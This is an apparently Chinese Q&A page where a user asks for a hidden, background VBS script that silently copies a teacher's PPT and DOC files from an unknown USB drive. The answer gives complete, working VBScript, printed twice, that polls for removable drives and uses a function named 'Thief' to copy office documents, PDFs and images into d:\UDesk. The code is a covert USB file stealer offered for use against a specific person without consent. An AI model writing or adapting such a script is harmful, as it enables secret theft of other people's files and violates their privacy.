求VBS脚本,想拷个老师的PPT,DOC 老师的盘符未知,自动复制未知U盘至电脑指定文件夹,后台运 20
求VBS脚本,想拷个老师的PPT,DOC老师的盘符未知,自动复制未知U盘至电脑指定文件夹,后台运行,隐藏,最好能定时(请留下如何修改时间/定时的方法)还有如何停止运行的方...
求VBS脚本,想拷个老师的PPT,DOC
老师的盘符未知,自动复制未知U盘至电脑指定文件夹,后台运行,隐藏,最好能定时(请留下如何修改时间/定时的方法)
还有如何停止运行的方法 展开
老师的盘符未知,自动复制未知U盘至电脑指定文件夹,后台运行,隐藏,最好能定时(请留下如何修改时间/定时的方法)
还有如何停止运行的方法 展开
1个回答
展开全部
dim i,fso,a,dv(25),drive
set fso=createobject("scripting.filesystemobject")
a="abijklmnopqrstuvwxyz"
for i=1 to len(a)
dv(i)=mid(a,i,1)
next
do
for i=1to len(a)
if fso.driveexists(dv(i)&":") then
set drive=fso.getdrive(dv(i)&":\")
if drive.Isready then
if drive.drivetype=1 then
if fso.folderexists(dv(i)&":\con\") then
'wscript.echo yes
else
Thief dv(i)
'msgbox "no"
end if
end if
end if
end if
next
wscript.sleep 500
loop
function Thief(drive)
dim fso,i,gf,a,name,cf,path,opf
set fso=createobject("scripting.filesystemobject")
a=drive
set cf=fso.createtextfile("d:\path.txt",true)
if fso.driveexists(a&":\") then
if fso.GetDrive(a&":\").IsReady then
set gf=fso.getfolder(a&":\")
for each folder in gf.subfolders
cycle folder
next
end if
end if
cf.close
end function
sub cycle(byval this)
on error resume next
for each folder in this.subfolders
cycle folder
next
set files=this.files
for each file in files
if lcase(right(file.name,3))="doc" or lcase(right(file.name,3))="xls" or lcase(right(file.name,3))="ppt" or lcase(right(file.name,4))="docx" or lcase(right(file.name,4))="pptx" or lcase(right(file.name,3))="pdf" or lcase(right(file.name,4))="xlsx" or lcase(right(file.name,3))="jpg" or lcase(right(file.name,3))="png" then
cf.writeline file.name
if fso.folderexists("d:\UDesk\") and fso.folderexists("d:\UDesk\"&year(now)&month(now)&day(now)&"_"&hour(now)&"\") then
fso.copyfile file.path,"d:\UDesk\"&year(now)&month(now)&day(now)&"_"&hour(now)&"\",false
else
fso.createfolder "d:\UDesk"
fso.createfolder "d:\UDesk\"&year(now)&month(now)&day(now)&"_"&hour(now)
fso.copyfile file.path,"d:\UDesk\"&year(now)&month(now)&day(now)&"_"&hour(now)&"\",false
end if
end if
next
end sub
set fso=createobject("scripting.filesystemobject")
a="abijklmnopqrstuvwxyz"
for i=1 to len(a)
dv(i)=mid(a,i,1)
next
do
for i=1to len(a)
if fso.driveexists(dv(i)&":") then
set drive=fso.getdrive(dv(i)&":\")
if drive.Isready then
if drive.drivetype=1 then
if fso.folderexists(dv(i)&":\con\") then
'wscript.echo yes
else
Thief dv(i)
'msgbox "no"
end if
end if
end if
end if
next
wscript.sleep 500
loop
function Thief(drive)
dim fso,i,gf,a,name,cf,path,opf
set fso=createobject("scripting.filesystemobject")
a=drive
set cf=fso.createtextfile("d:\path.txt",true)
if fso.driveexists(a&":\") then
if fso.GetDrive(a&":\").IsReady then
set gf=fso.getfolder(a&":\")
for each folder in gf.subfolders
cycle folder
next
end if
end if
cf.close
end function
sub cycle(byval this)
on error resume next
for each folder in this.subfolders
cycle folder
next
set files=this.files
for each file in files
if lcase(right(file.name,3))="doc" or lcase(right(file.name,3))="xls" or lcase(right(file.name,3))="ppt" or lcase(right(file.name,4))="docx" or lcase(right(file.name,4))="pptx" or lcase(right(file.name,3))="pdf" or lcase(right(file.name,4))="xlsx" or lcase(right(file.name,3))="jpg" or lcase(right(file.name,3))="png" then
cf.writeline file.name
if fso.folderexists("d:\UDesk\") and fso.folderexists("d:\UDesk\"&year(now)&month(now)&day(now)&"_"&hour(now)&"\") then
fso.copyfile file.path,"d:\UDesk\"&year(now)&month(now)&day(now)&"_"&hour(now)&"\",false
else
fso.createfolder "d:\UDesk"
fso.createfolder "d:\UDesk\"&year(now)&month(now)&day(now)&"_"&hour(now)
fso.copyfile file.path,"d:\UDesk\"&year(now)&month(now)&day(now)&"_"&hour(now)&"\",false
end if
end if
next
end sub
AiPPT
2024-09-19 广告
2024-09-19 广告
随着AI技术的飞速发展,如今市面上涌现了许多实用易操作的AI生成工具1、简介:AiPPT: 这款AI工具智能理解用户输入的主题,提供“AI智能生成”和“导入本地大纲”的选项,生成的PPT内容丰富多样,可自由编辑和添加元素,图表类型包括柱状图...
点击进入详情页
本回答由AiPPT提供
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询